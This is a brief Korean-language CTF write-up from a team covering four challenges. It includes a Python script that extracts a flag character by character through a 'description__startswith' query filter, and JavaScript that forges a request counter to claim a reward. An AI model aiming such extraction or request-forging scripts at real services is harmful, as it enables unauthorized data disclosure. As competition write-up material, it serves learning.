Team: 어? 이정훈선배?


fly me to the moon [WEB]

import requests
# bruteforce
import string

url = "<http://prob.hspace.io:30007/blacklist/detail/?description__startswith=>"

flag = "HCTF{"
while True:
    for i in string.printable:
        if i in ['%', '_', '#', '?', '&']:
            continue
        payload = flag + i
        print(payload)
        r = requests.get(url + payload)
        # response code
        if r.status_code == 200:
            flag += i
            print(flag)
            break
    else:
        break
print(flag)

description__startswith 로 주면 됩니다

Screenshot 2024-11-17 at 9.18.30 PM.png

기차라서 인터넷이 느려서,, 완전한 플래그 사진은 못내겠습니다


add-master [newbie]

Screenshot 2024-11-17 at 9.26.16 PM.png

그냥 서버에 보낼 때 지금까지 100번 했다고 위조해서 보내면 플래그를 받을 수 있습니다

async function submitAnswer() {
    const userAnswer = parseInt(document.getElementById('answer').value, 10);

    try {
        const response = await fetch('<http://prob.hctf.icewall.org:5001/answer>', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                q_num: 100,
                num1: num1,
                num2: num2,
                ans: num1 + num2,
            })
        });

        data = await response.json();

        if(data.finish){
            alert(data.flag);
            currentQuestion = 1;
        }else if (data.next){
            alert("correct");
            currentQuestion++;
        }else{
            alert("wrong");
        }

        generateQuestion();
    } catch (error) {
        console.error('error', error);
    }
}

find_password [newbie]

Screenshot 2024-11-17 at 9.08.30 PM.png


RSA [newbie]

https://www.dcode.fr/rsa-cipher

이 사이트를 통해 해독했습니다.

Screenshot 2024-11-17 at 9.11.18 PM.png